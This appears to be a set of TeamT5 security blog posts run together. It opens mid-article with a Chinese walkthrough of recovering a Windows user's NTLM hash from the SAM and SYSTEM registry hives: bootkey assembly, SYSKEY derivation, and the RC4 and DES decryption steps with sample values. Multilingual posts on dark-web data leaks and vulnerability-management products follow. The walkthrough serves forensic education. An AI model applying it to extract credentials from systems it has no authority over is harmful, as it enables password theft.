>=**RC4**(**EncKey**, MD5((**Salt**+```"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"```+```"\x00"```+Bootkey+```"0123456789012345678901234567890123456789"```+```"\x00"```)) 
> 
>3. **RC4_Encrypted** (最終結果會存入 **User V[14]**) 
>=**RC4**(**DES_Encrypted**, MD5(**SYSKEY**+**DWORD(RID)**+`"NTPASSWORD"`+`"\x00"`)) 
 

 
 
 
 
 

## 4.SYSTEM 結構
```
\HKEY_LOCAL_MACHINE\\System\CurrentControlSet\Control\Lsa\{Data, GBG, JD, Skew1}
```

使用 *Registry Viewer* (切記 windows 內建的 registry editor )
![image](https://uploads.teamt5.org/upload/original/pic16_understanding-windows-registry-sam.png)

 
Windows 登入的本機帳號及密碼，會以 LM 或 NTLM hash 的型態存放在 SAM 登錄檔 (Registry 的 User V[14]) 裡。而自從 Windows NT 4.0 後，預設就開始使用 Syskey 來加密 SAM 裡面的資訊。這把 Syskey 會被做以下會講到的運算，分開來存入 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa` 的四個機碼: "JD, Skew1, GBG, Data" 。真正數值可到機碼的 Class name 存取出來 (可參考以下圖)。

所以自從 SAM 的密碼開始被加密後，要解出密碼就需要連登錄檔的 SYSTEM 也一併取回才能解出 SysKey ，才有辦法解開使用者密碼的 Hash 值。

"JD, Skew1, GBG, Data" 這四個地方取得出 Class Name (字串值) 的資訊可以組成「**bootkey**(也稱 Syskey)」，這把鑰匙是 Windows 系統用來加密和保護系統關鍵數據的一部分。例圖:
![image](https://uploads.teamt5.org/upload/original/pic17_understanding-windows-registry-sam.png)

 

製作 **bootkey** 過程:

1. 把四個值連接在一起：
假設 JD, Skew1, GBG, 和 Data 這四個值如下，將十六進制序列依序連接在一起，形成一個長的十六進制數字串。

 ```
 合併數據: JD + Skew1 + GBG + Data
 = "c2 a4 4d fa" + "a2 30 c4 ab" + "74 e4 48 2e" + "73 0b d8 57"
 = c2 a4 4d fa a2 30 c4 ab 74 e4 48 2e 73 0b d8 57
 ```
 
> 最終得出 `c2 a4 4d fa a2 30 c4 ab 74 e4 48 2e 73 0b d8 57`
 
2. 使用 ShiftArray 陣列演算法，將值進行重新排列，生成 **bootkey**。

- ShiftKey 典型值 
= `[0x8, 0x5, 0x4, 0x2, 0xB, 0x9, 0xD, 0x3, 0xC, 0x0, 0x6, 0x1, 0xA, 0xE, 0xF, 0x7]`

![image](https://uploads.teamt5.org/upload/original/pic17-2_update_understanding-windows-registry-sam.png)

對應字節排序下來將是我們的 Bootkey。
 


<hr style="height: 0.25px; margin-bottom: 15px; background-color: #dadada; margin-top: 50px ;">

###SYSTEM 的重點整理

這裡取得的唯一資訊為: 
- **Bootkey** = **`74 30 a2 4d 2e e4 0b fa 73 c2 c4 a4 48 d8 57 ab`**

 

>SYSTEM 取出的值與加密過程的對應: 
>
>1.**DES_Encrypted** 
>= DES(NTHash, **k1**) + DES(NTHash, **k2**) 
>
>2.**SYSKEY** 
=**RC4**(**EncKey**, MD5((**Salt** + ```"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"```+```"\x00"```+**Bootkey**+```"0123456789012345678901234567890123456789"```+```"\x00"```)) 
 >
>3.**RC4_Encrypted** (最終結果會存入 **User V[14]**) 
>= **RC4**(*DES_Encrypted*, MD5(*SYSKEY*+**DWORD(RID)**+```"NTPASSWORD"`+`"\x00"```)) 

 
 
 
 
 

## 5.整理以上取得的資訊

##### Windows 會用到的預設字串:
* !@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%
* 0123456789012345678901234567890123456789 
* NTPASSWORD
* 0x00 x 2
 

##### User F
* **RID** = **`F4 01 00 00`**
* **K1** = **`F4 00 40 00 0E A0 04 00`**
* **K2** = **`00 7A 00 20 00 06 D0 02`**
 

##### User V
* `SAMP_USER_UNICODE_PWD`

= **User V[14]** 
= **`01 00 01 00 92 A7 A7 EC 28 9E 26 60 DD F4 8F 54 C9 2D 3F 87`**

![image](https://uploads.teamt5.org/upload/original/pic18_understanding-windows-registry-sam.png)
 

##### Domain Account F
加密方式 = **RC4**

加密/解密的 **資訊**: 

>- Salt = **0x70** = `6F D9 76 B6 45 84 57 CB 9D 12 33 47 23 11 AC 9F` 
> - EncKey = **0x80** = `2C E6 69 B6 BD FB A6 D0 F7 2F 42 9F 6F 1A F2 08` 

 

##### System
* **Bootkey** =**`74 30 a2 4d 2e e4 0b fa 73 c2 c4 a4 48 d8 57 ab`**

 
 
 
 
 

## 6.梳理加解密過程
根據上述的「加密」過程，我們來**對比**一下「解密」的過程: 

### 加密過程

>1. **DES_Encrypted** 
>=DES(NTHash, k1)+DES(NTHash, k2) 
> 
>2. **SYSKEY** 
>=RC4(EncKey, MD5((Salt + `"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"`+`"\x00"`+Bootkey+`"0123456789012345678901234567890123456789"`+`"x00"`)) 
> 
>3. **RC4_Encrypted** (最終結果會存入 `User V[14]`) 
>=RC4(**DES_Encrypted**, MD5(**SYSKEY**+DWORD(RID)+`"NTPASSWORD"`+`"\x00"`)) 
 

**DES_Encrypted**

DES 的運算目的是給予 NTHash 第二層的加密保護，而使用 RID 作為 DES 中的 K1 和 K2 用意在於當兩個或多個使用者擁有相同密碼時可以進一步的混淆使用者的 NTHash。

**SYSKEY**

SYSKEY 會進行第一次的 RC4 加密運算，把 *User F 值* 的 EncKey(`0x80`) 作為 Data 加密起來。加密會使用到上述 *User F 值* 的 Salt (`0x70`) 、 Bootkey 、Windows 加密預設字串。

**RC4_Encrypted**

最後，我們將 SYSKEY 算出來的數字做為鑰匙，把 DES 加密後的 NTHash 作為 Data 再次進行 RC4 加密的動作。

 
 

### 解密過程 (含圖例)

>1. **SYSKEY** 
>=RC4(EncKey, MD5((Salt + `"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"`+`"\x00"`+Bootkey+`"0123456789012345678901234567890123456789"`+`"\x00"`)) 
> 
>2. **RC4_Decrypted** 
>=RC4(User V[14], MD5(**SYSKEY**+DWORD(RID)+`"NTPASSWORD"`+`"\x00"`)) 
> 
>3. **DES_Decrypted** 
>= DES(**RC4_Decrypted**, k1)+DES(**RC4_Decrypted**, k2) 

 

**SYSKEY** 

解密過程的話，我們需要先從所有加密的「鑰匙」開始運算，第一步先拿最外層的鑰匙 SYSKEY 作解密。步驟跟上面的一樣，因為 RC4 是對稱式加密 (symmetric encryption)。

**RC4_Decrypted**

有了 SYSKEY 即可運算出下一把鑰匙: `MD5(SYSKEY + RID +NTPASSWORD + 0x00)`。拿取*User V 值* 的 第 14 個陣列 (`SAMP_USER_UNICODE_PWD` or `User V[14]`) 作為 Data ，使用鑰匙進行 RC4 的解密。 

**DES_Decrypted**

現在我們剩下的就是被 DES 加密起來的 NTHash (`DES(NTHash)`)，因 DES 也是對稱式的加密，用 K1 與 K2 重複相同的動作即可解出使用者的 NTHash。

![image](https://uploads.teamt5.org/upload/original/pic19_understanding-windows-registry-sam.png)

破解 NTLM 密碼：深入 SAM 結構的內幕

暗網是無法透過傳統搜索引擎和瀏覽器訪問的秘密網路，非法活動者經常在此進行非法交易，如惡意軟體買賣和出售被盜取的企業資料。


歷來已有多個企業深受其害，重要資料外洩到暗網，造成商譽損害。例如：
- 2024年3月，美國龍頭電信商 AT&T 宣布其遭遇客戶資料外洩的事件。約7,600萬個客戶的資料外洩置暗網，資料包含姓名、電子郵件、郵寄地址、生日、AT&T帳號和密碼等。 ([新聞報導](https://www.npr.org/2024/03/30/1241863710/att-data-breach-dark-web))

- 2024年6月，美國科技公司 Dell 宣布客戶訂單資料外洩。而據第三方報告，資料可能為戴爾客戶4900萬筆的訂單資料，並被放置於暗網兜售。 ([新聞報導](https://www.theregister.com/2024/05/09/dell_data_stolen/))

 

企業外洩情資到暗網可能會導致以下嚴重後果：
- **客戶個資外洩**： 影響客戶的隱私和權益，可能導致身份盜竊、詐騙等犯罪行為。
- **企業信譽受損**： 導致客戶流失、股價下跌等負面影響。
- **監管機構罰款**： 企業可能因違反資料保護法規，而面臨巨額罰款。

 

因此，企業應採取有效措施保護資料安全，降低資料外洩的風險。以下是一些建議：
- 制定並實施嚴格的資料安全政策和流程。
- 定期對員工進行資料安全教育和訓練。
- 定期進行資料安全風險評估和漏洞掃描。
- 建立健全的資料洩漏應變機制。

 

此外，企業還應密切關注暗網上的資料外洩情況，及時採取措施應對。

 

> - 了解掌握暗網情資的最佳做法
> 
> TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> 
> [【研討會影片】帳密悄悄洩，杜浦解危新戰略](https://teamt5.org/tw/posts/webinar-deep-dark-web/?utm_source=blog&utm_medium=website)


 
首圖來源: Pexel

暗網影響企業的真實案例  及 企業應如何預防?

The dark web is a secret network inaccessible through traditional search engines and browsers, where illegal actors often conduct illegal transactions, such as malware trading and selling stolen corporate information.

Many companies have been severely affected in the past, with important information leaked to the dark web, causing damage to their goodwill. For example:
- In March 2024, AT&T, the leading telecommunications provider in the United States, announced that it had suffered a customer data leak. About 76 million customer data were leaked and placed on the dark web. The data included names, emails, mailing addresses, birthdays, AT&T account numbers and passwords, etc. ([News](https://www.npr.org/2024/03/30/1241863710/att-data-breach-dark-web))
- In June 2024, the American technology company Dell announced that customer order data was leaked. According to third-party reports, the data may be 49 million order data from Dell customers and was placed on the dark web for sale. ([News](https://www.theregister.com/2024/05/09/dell_data_stolen/))

 

Leaking corporate information to the dark web may lead to the following serious consequences:
- **Leakage of customer personal information**: Affects customers' privacy and rights, which may lead to identity theft, fraud and other crimes.
- **Damage to corporate reputation**: leading to negative impacts such as customer loss and stock price decline.
- **Regulatory agency fines**: Businesses can face hefty fines for breaching data protection regulations.

 


Therefore, enterprises should take effective measures to protect data security and reduce the risk of data leakage. Here are some suggestions:
- Develop and implement strict data security policies and procedures.
- Provide data security education and training to employees on a regular basis.
- Conduct regular data security risk assessments and vulnerability scans.
- Establish a sound data leakage response mechanism.
 

In addition, companies should also pay close attention to data leaks on the dark web and take timely measures to respond.

 

>**Know more about dark web intelligence **
>- TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[Introduction](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> - [Shining a Light on the Dark Web: Protecting Your Data and Reputation](https://teamt5.org/en/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> - [【Webinar Recording】Unveiling the Dark Web: Protecting Your Business from Hidden Threats](https://teamt5.org/en/posts/webinar-recording-unveiling-the-dark-web-protecting-your-business-from-hidden-threats/?utm_source=blog&utm_medium=website)


 

Image source: Pexel

Real Cases of How the Dark Web Has Affected Enterprises and How They Could Have Prevented It

ダークウェブは、従来の検索エンジンやブラウザではアクセスできない秘密のネットワークで、マルウェアの売買や盗まれた企業情報の売買など、違法な取引が頻繁に行われています。

多くの企業が過去に深刻な影響を受けており、重要な情報がダークウェブに漏洩し、信用が損なわれています。例:
- 2024年3月、米国の大手通信事業者であるAT&Tは、顧客データ漏洩が発生したと発表しました。約7,600万件の顧客データが漏洩し、ダークウェブに掲載されました。データには、名前、電子メール、郵送先住所、誕生日、AT&Tアカウント番号、パスワードなどが含まれていました。([ニュース](https://www.npr.org/2024/03/30/1241863710/att-data-breach-dark-web))
- 2024年6月、米国のテクノロジー企業Dellは、顧客の注文データが漏洩したと発表しました。第三者の報告によると、そのデータはDellの顧客からの4,900万件の注文データである可能性があり、ダークウェブに掲載されて販売されていました。 ([ニュース](https://www.theregister.com/2024/05/09/dell_data_stolen/))

 

ダークウェブに企業情報が漏洩すると、次のような深刻な結果を招く可能性があります。

- **顧客の個人情報の漏洩**: 顧客のプライバシーと権利に影響を与え、なりすまし、詐欺、その他の犯罪につながる可能性があります。

- **企業の評判の失墜**: 顧客喪失や株価下落などの悪影響につながります。

- **規制当局の罰金**: 企業はデータ保護規制に違反すると多額の罰金を科せられる可能性があります。

 

したがって、企業はデータセキュリティを保護し、データ漏洩のリスクを軽減するための効果的な対策を講じる必要があります。以下では、推奨される対策を提案します。

- 厳格なデータセキュリティポリシーと手順を策定して実装

- 従業員に対する定期的にデータセキュリティの教育とトレーニングの実施

- 定期的なデータセキュリティリスク評価と脆弱性スキャンの実施

- 健全なデータ漏洩対応メカニズムの確立

 

また、企業はダークウェブでのデータ漏洩にも細心の注意を払い、タイムリーな対策を講じて対応する必要があります。

 
ダークウェブインテリジェンスの詳細 
> [ダークウェブに光を当てる: データと評判の保護](https://teamt5.org/jp/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)

ダークウェブが企業に与えた影響の事例および推奨される予防策

In recent years, with the rapid increase in software adoption, the challenge of managing vulnerabilities has reached unprecedented levels. The evolution of digitalization has ushered in a new era of productivity and efficiency, but alongside it, a surge in potential security risks.

##The Landscape of Vulnerability Management
The digital transformation of enterprises has significantly expanded the attack surface, making comprehensive vulnerability management a daunting task. The integration of third-party open-source tools into development processes has further complicated this landscape, as each tool brings its own set of vulnerabilities that can potentially be exploited by malicious actors.

##Challenges in Prioritization
One of the greatest hurdles faced by cybersecurity professionals today is effectively prioritizing vulnerabilities. The sheer volume of information and the constant influx of potential threats often create a cacophony of alerts, making it difficult to distinguish critical issues from background noise. This complexity demands sophisticated solutions that not only identify vulnerabilities but also prioritize them based on their severity and potential impact.

##Introducing ThreatVision Vulnerability Solutions: A Proactive Approach to Vulnerability Management

![pic2_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png](https://uploads.teamt5.org/upload/original/pic2_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png)

###Patch Management Report (PMR)
At TeamT5, we understand the urgency of addressing high-risk vulnerabilities promptly. Our Patch Management Report provides weekly updates summarizing approximately 100 critical vulnerabilities. These reports are meticulously curated by analysts, who evaluate each vulnerability's proof of concept, risk assessment, and real-world implications. Subscribers can thus streamline their patch management efforts, focusing on vulnerabilities most susceptible to exploitation.

![pic1_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png](https://uploads.teamt5.org/upload/original/pic1_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png)

###Vulnerability Insights Report (VIR)
Complementing the PMR, our Vulnerability Insights Report zooms in on a single critical vulnerability from the PMR, offering in-depth analysis, exploit scenarios, and global incident highlights. This report not only arms stakeholders with remediation strategies but also equips them with proactive mitigation techniques for vulnerabilities that cannot be immediately patched.

###Threat Hunting Tools
Our arsenal includes cutting-edge threat hunting tools developed by analysts. These tools, incorporating YARA Rules, SNORT Rules, SIGMA Rules, and various scripts, enable proactive detection of vulnerability exploitation behaviors within client networks. By swiftly identifying vulnerabilities being actively exploited, organizations can promptly mitigate risks and fortify their defenses.

###Benefits of ThreatVision’s Vulnerability Solutions

- **Timely Action**: By leveraging ThreatVision's reports and tools, organizations can swiftly confirm and mitigate vulnerabilities before they can be exploited.
  
- **Comprehensive Coverage**: From comprehensive patch management insights to detailed vulnerability analyses, ThreatVision offers a holistic approach to safeguarding digital assets.
  
- **Proactive Defense**: Armed with actionable intelligence from ThreatVision, cybersecurity teams can proactively defend against emerging threats and minimize potential damage.

##Summary
Staying ahead of vulnerabilities is not just a strategy but a necessity. With ThreatVision, TeamT5 empowers enterprises to navigate the complexities of vulnerability management effectively. By prioritizing critical vulnerabilities and providing actionable insights, ThreatVision ensures that organizations can safeguard their digital infrastructure against evolving threats.

At TeamT5, we remain committed to advancing cybersecurity practices, helping enterprises mitigate risks, and empowering them to thrive in an increasingly digital world. Stay secure with ThreatVision and stay ahead of vulnerabilities.

Learn more about [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) and enhance your cybersecurity strategy with TeamT5 today. 

[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) to schedule a consultation or subscribe to our reports for proactive vulnerability management.



Staying Ahead of Critical Vulnerabilities with ThreatVision

近年來，隨著企業大規模採用軟體技術，漏洞管理的挑戰達到了前所未有的程度。數位化的演進帶來了劃時代的生產力和效率，卻也同時帶來了潛在的安全風險。

##漏洞管理的現況
企業的數位轉型顯著地擴展了威脅攻擊面，使全面性的漏洞管理變得艱鉅。將第三方開源工具整合到開發過程中進一步複雜化了這個現狀，因為每個新工具都可能帶有被惡意攻擊者利用的新漏洞。

##漏洞優先排序的挑戰
當前資訊安全人員面臨的最大障礙之一，便是有效地對漏洞進行優先排序。龐大的資訊量和不斷湧入的潛在威脅，往往會產生大量告警，使得區分關鍵問題和無關雜訊變得困難。這種複雜的問題背景下，需要既能識別漏洞、又能根據其嚴重性和影響力，進行優先排序的解決方案。

##ThreatVision 漏洞解決方案：化解被動漏洞管理的困境

![pic2_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png](https://uploads.teamt5.org/upload/original/pic2_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png)

###漏洞修補管理周報（Patch Management Report） 
在 TeamT5，我們了解及時解決高風險漏洞的緊迫性。我們的漏洞修補管理周報（Patch Management Report，PMR） 提供每週更新，總結約 100 個關鍵漏洞。這些報告由 TeamT5 的專業分析師團隊精心策劃，評估每個漏洞的是否已在野外觀測到遭利用的驗證情境（POC）、風險評估和在真實環境中的影響。訂閱者可以藉此精簡其漏洞管理工作，專注於最易受攻擊的漏洞。

![pic1_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png](https://uploads.teamt5.org/upload/original/pic1_staying-ahead-of-critical-vulnerabilities-with-threat-vision.png)

###威脅情資暨應對緩解雙週報（Vulnerability Insights Report） 
為了補充 PMR，我們的威脅情資暨應對緩解雙週報（Vulnerability Insights Report，VIR） 聚焦於 PMR 中的一個關鍵漏洞，提供該漏洞的深入分析、利用場景和全球受害事件摘要。這份報告不僅為利益相關者提供修補策略，還為無法立即修補的漏洞提供主動緩解建議和偵測工具（即威脅狩獵工具）。

###威脅狩獵工具
我們的工具庫包括由分析師開發的尖端威脅狩獵工具。這些工具包括 YARA 規則、SNORT 規則、SIGMA 規則和各種腳本，能夠在客戶網路內主動檢測漏洞利用行為，迅速識別正在被積極利用的漏洞，讓企業能夠及時減輕風險並強化防禦。

##ThreatVision 漏洞解決方案的優勢
- **及時行動**：利用 ThreatVision 的報告和工具，企業可以迅速確認並防禦漏洞，防止其被利用。
- **全面覆蓋**：從全面的漏洞修補管理報告到詳細深入的漏洞分析，ThreatVision 提供全方位的漏洞情資來保護您的數位資產。
- **主動防禦**：憑藉來自 ThreatVision 的威脅情資，網路安全團隊可以主動防禦新興威脅，將潛在損害降至最低。


##總結
超前部署、應對漏洞不僅是一種策略，更是一項必要的任務。透過 ThreatVision，TeamT5 使企業能夠有效應對漏洞管理的複雜性。透過優先處理關鍵漏洞並提供研究報告，ThreatVision 確保企業能夠保護其數位基礎設施，免受威脅。

在 TeamT5，我們致力於網路安全實踐，幫助企業減輕風險，使其在日益數位化的世界中蓬勃發展。使用 [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) 保持安全，領先應對漏洞。現在就來了解更多有關 ThreatVision 的資訊，並透過 TeamT5 強化您的網路安全策略。

請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，進一步安排諮詢或訂閱我們最新漏洞情資，強化企業關鍵漏洞防護。





透過 ThreatVision 超前應對關鍵漏洞

隨著數位時代的發展，企業愈來越依賴網路進行業務運營。然而，暗網的存在對企業資安構成了嚴峻挑戰。本文將探討暗網對企業資安的影響，及企業應如何應對這些威脅。

## 暗網如何影響企業資安

1. **數據外洩**：暗網上常常出現被盜取的企業資料，包括客戶資訊、員工個人資料、財務數據等。駭客可以將這些敏感資訊在暗網上出售或公開，導致企業面臨重大財務損失及品牌損害。

2. **商業機密外洩**：企業的研發資料、專利技術和商業計劃等機密資訊一旦被洩露，可能在暗網上被交易，這不僅損害企業的競爭優勢，還可能導致法律糾紛。

3. **網路攻擊工具交易**：暗網上有大量的惡意軟體、駭客工具和服務出售。這些工具使得網路犯罪變得更加容易，企業可能面臨更頻繁且更複雜的網路攻擊，如勒索軟體攻擊、釣魚攻擊等。

4. **聘僱駭客**：暗網提供了匿名聯繫和交易的環境，某些競爭對手或不法分子可能會在暗網上聘僱駭客，向敵對企業進行具針對性的攻擊，這使得企業的資安風險大幅增加。

5. **供應鏈風險**：企業的供應鏈合作夥伴若受到暗網攻擊，可能間接影響企業自身的安全。供應鏈中，賞商的任何一個環節出現問題，都可能導致整個系統的安全漏洞。


## 應對暗網威脅的策略

1. **加強資安防護**：企業應採取先進的資安防護措施，如端點檢測與回應（EDR）解決方案、多因素認證（MFA）、入侵檢測與防禦系統（IDS/IPS）等，以提高整體的網路安全防護能力。

2. **監控暗網活動**：企業可以利用專門提供暗網情資的威脅情資平台（Threat Intelligence Platform）來監控暗網上的相關活動，及時發現可能涉及企業的敏感資訊和潛在威脅，提前採取應對措施。

3. **員工教育與培訓**：提高員工的資安意識，定期進行網路安全培訓，使員工能夠識別釣魚郵件、惡意鏈接等潛在威脅，並養成良好的電腦安全操作習慣。

4. **定期安全評估**：企業應定期進行安全評估和滲透測試，找出系統中的潛在漏洞，及時進行修補，防止駭客利用這些漏洞進行攻擊。

5. **制定資安事件應變計劃**：建立完善的資安事件應變計劃，一旦發生安全事件，能夠迅速啟動應變機制，減少損失並快速恢復業務營運。也可尋找外部資安事件應變團隊，預先購買應變服務方案。

6. **合作與分享情資**：與其他企業和資安機構合作，分享資安情資和最佳實踐，共同應對來自暗網的威脅。

## 結語

暗網的匿名性和隱秘性使其成為網路犯罪的溫床，對企業資安構成重大挑戰。企業需要認識到暗網帶來的風險，並採取積極的防護措施和應對策略，才能在不斷變化的網路威脅環境中立於不敗之地；更通過持續提升資安防護能力，加強對暗網的監控和情資分析，企業才能有效防範和減少暗網對其資安的負面影響。

> - 了解掌握暗網情資的最佳做法
> 
> TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
>
> [照亮暗網：保護您的資料和聲譽](https://teamt5.org/tw/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> 
> [【研討會影片】帳密悄悄洩，杜浦解危新戰略](https://teamt5.org/tw/posts/webinar-deep-dark-web/?utm_source=blog&utm_medium=website)

 

首圖來源: Pexel

暗網對企業資安的影響是什麼?

With the development of the digital age, enterprises are increasingly relying on the Internet for business operations. However, the existence of the dark web poses serious challenges to enterprise cybersecurity. This article will explore the impact of the dark web on enterprise cybersecurity and how enterprises should respond to these threats.

## How the Dark Web Affects Enterprise Cybersecurity

1. **Data leakage**: Stolen corporate information often appears on the dark web, including customer information, employee personal information, financial data, etc. Hackers can sell or make this sensitive information public on the dark web, causing companies to face significant financial losses and brand damage.

2. **Leakage of business secrets**: Once a company’s confidential information such as R&D materials, patented technologies, and business plans are leaked, it may be traded on the dark web, which not only damages the company’s competitive advantage, but may also lead to legal disputes.

3. **Internet attack tool trading**: There are a large number of malware, hacking tools and services for sale on the dark web. These tools make cybercrime easier, and companies may face more frequent and complex cyberattacks, such as ransomware attacks, phishing attacks, etc.

4. **Hire hackers**: The dark web provides an environment for anonymous contact and transactions. Some competitors or criminals may hire hackers on the dark web to carry out targeted attacks on hostile companies. This makes companies' cybersecurity risks have increased significantly.

5. **Supply chain risk**: If an enterprise's supply chain partners are attacked by dark web, it may indirectly affect the enterprise's own security. In the supply chain, problems in any part of the supply chain may lead to security vulnerabilities in the entire system.

## Strategies for Dealing with Dark Web Threats

1. **Strengthen cybersecurity protection**: Enterprises should adopt advanced cybersecurity protection measures, such as [endpoint detection and response (EDR)](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website) solutions, multi-factor authentication (MFA), intrusion detection and prevention systems (IDS/IPS), etc. , to improve the overall network security protection capabilities.

2. **Monitoring dark web activities**: Enterprises can use the [Threat Intelligence Platform](https://teamt5.org/en/products/threatvision/), which specializes in providing dark web information, to monitor related activities on the dark web and promptly discover sensitive information and potential threats that may involve the enterprise. Take countermeasures in advance.

3. **Employee education and training**: Improve employees’ awareness of cybersecurity and conduct regular network security training so that employees can identify potential threats such as phishing emails and malicious links and develop good computer security operating habits.

4. **Regular security assessment**: Enterprises should conduct regular security assessments and penetration tests to identify potential vulnerabilities in the system and repair them in a timely manner to prevent hackers from using these vulnerabilities to attack.

5. **Develop a contingency plan for cybersecurity incidents**: Establish a complete contingency plan for cybersecurity incidents. Once a security incident occurs, the response mechanism can be quickly activated to reduce losses and quickly resume business operations. You can also look for an [external cybersecurity incident response team](https://teamt5.org/en/service/ir/?utm_source=blog&utm_medium=website) and purchase a response service plan in advance.

6. **Cooperation and sharing intelligence**: Cooperate with other companies and security agencies to share security intelligence and best practices to jointly respond to threats from the dark web.

## Conclusion

The anonymity and secrecy of the dark web make it a hotbed for cybercrime, posing a major challenge to corporate cybersecurity. Enterprises need to be aware of the risks brought by the dark web and adopt proactive protective measures and response strategies in order to remain invincible in the ever-changing network threat environment; they must also continue to improve their cybersecurity protection capabilities and strengthen their awareness of the dark web. With advanced monitoring and intelligence analysis, enterprises can effectively prevent and reduce the negative impact of darknet on their cybersecurity.


>**Know more about dark web intelligence **
> - TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[Introduction](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> - [Shining a Light on the Dark Web: Protecting Your Data and Reputation](https://teamt5.org/en/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> - [【Webinar Recording】Unveiling the Dark Web: Protecting Your Business from Hidden Threats](https://teamt5.org/en/posts/webinar-recording-unveiling-the-dark-web-protecting-your-business-from-hidden-threats/?utm_source=blog&utm_medium=website)


 
Image source: Pexel

The Impact of Dark Web on Enterprise Cybersecurity

デジタル時代の発展に伴い、企業が業務運営をする上でインターネットの活用は必要不可欠と言っても過言ではありません。。しかし、ダークウェブの存在は企業のサイバーセキュリティに深刻な問題をもたらします。当記事では、ダークウェブが企業のセキュリティに与える影響と、企業がこれらの脅威にどのように対応すべきかについて解説します。

## ダークウェブはどうやって企業のサイバーセキュリティに影響をあたえるのか

1. **データ漏洩**: 顧客情報、従業員の個人情報、財務データなど、盗まれた企業情報はダークウェブにアップされることが多いです。ハッカーはこれらの機密情報をダークウェブで販売または公開できるため、企業は大きな経済的損失とブランドのダメージに直面することになります。

2. **企業秘密の漏洩**: 研究開発資料、特許技術、事業計画などの企業の機密情報が漏洩すると、ダークウェブで取引される可能性があり、企業の競争上の優位性が損なわれるだけでなく、法的紛争につながる可能性もあります。

3. **インターネット攻撃ツールの取引**: ダークウェブでは、多数のマルウェア、ハッキングツール、サービスが販売されています。これらのツールはサイバー犯罪を容易にし、企業はランサムウェア攻撃、フィッシング攻撃など、より頻繁に複雑なサイバー攻撃に直面する可能性があります。

4. **ハッカーの雇用**: ダークウェブは、匿名の連絡と取引の環境を提供します。一部の競合他社や犯罪者は、ダークウェブでハッカーを雇い、敵対的な企業を標的とした攻撃を実行する場合があります。これにより、企業のサイバーセキュリティリスクが大幅に増加します。

5. **サプライチェーンリスク**: 企業のサプライチェーンパートナーがダークウェブから攻撃を受けた場合、企業自身のセキュリティに間接的に影響する可能性があります。サプライチェーンでは、サプライチェーンのどの部分に問題があっても、システム全体のセキュリティの脆弱性につながる可能性があります。

## ダークウェブの脅威に対処するための戦略

1. **サイバーセキュリティ保護の強化**: 企業は、エンドポイント検出および対応 (EDR) ソリューション、多要素認証 (MFA)、侵入検知および防止システム (IDS/IPS) などの高度なサイバーセキュリティ保護対策を採用し、ネットワークセキュリティ保護機能全体を向上する必要があります。

2. **ダークウェブ活動の監視**: 企業は、ダークウェブ情報の提供に特化した脅威インテリジェンスプラットフォームを使用して、ダークウェブ上の関連活動を監視し、企業に関係する可能性のある機密情報や潜在的な脅威を迅速に発見し、事前に対策を講じることができます。

3. **従業員の教育とトレーニング**: 従業員のサイバーセキュリティに対する意識を高め、定期的にネットワーク セキュリティトレーニングを実施して、従業員がフィッシング メールや悪意のあるリンクなどの潜在的な脅威を識別し、適切なコンピューター セキュリティ操作習慣を身に付けられるようにします。

4. **定期的なセキュリティ評価**: 企業は、システムの潜在的な脆弱性を特定し、タイムリーに修復して、ハッカーがこれらの脆弱性を利用して攻撃するのを防ぐために、定期的なセキュリティ評価と侵入テストを実施する必要があります。

5. **サイバーセキュリティインシデントに対する緊急時対応計画の策定**: サイバーセキュリティインシデントに対する完全な緊急時対応計画を確立します。インシデントが発生すると、対応メカニズムを迅速に起動して損失を減らし、迅速に業務を再開できます。また、外部のサイバーセキュリティインシデント対応チームを探し、事前に対応サービスプランを購入することもできます。

6. **協力とインテリジェンスの共有**: 他の企業やセキュリティ機関と協力して、セキュリティインテリジェンスとベストプラクティスを共有し、ダークウェブからの脅威に共同で対応します。

## 結論

ダークウェブの匿名性と秘密性は、サイバー犯罪の温床となり、企業のサイバーセキュリティにとって大きな課題となっています。企業は、常に変化するネットワーク脅威環境で無敵であり続けるために、ダークウェブがもたらすリスクを認識し、積極的な保護対策と対応戦略を採用する必要があります。また、サイバーセキュリティ保護能力を継続的に向上させ、ダークウェブに対する認識を強化する必要があります。高度な監視とインテリジェンス分析により、企業はダークウェブがサイバーセキュリティに及ぼす悪影響を効果的に防止し、軽減することができます。

 

ダークウェブインテリジェンスの詳細 
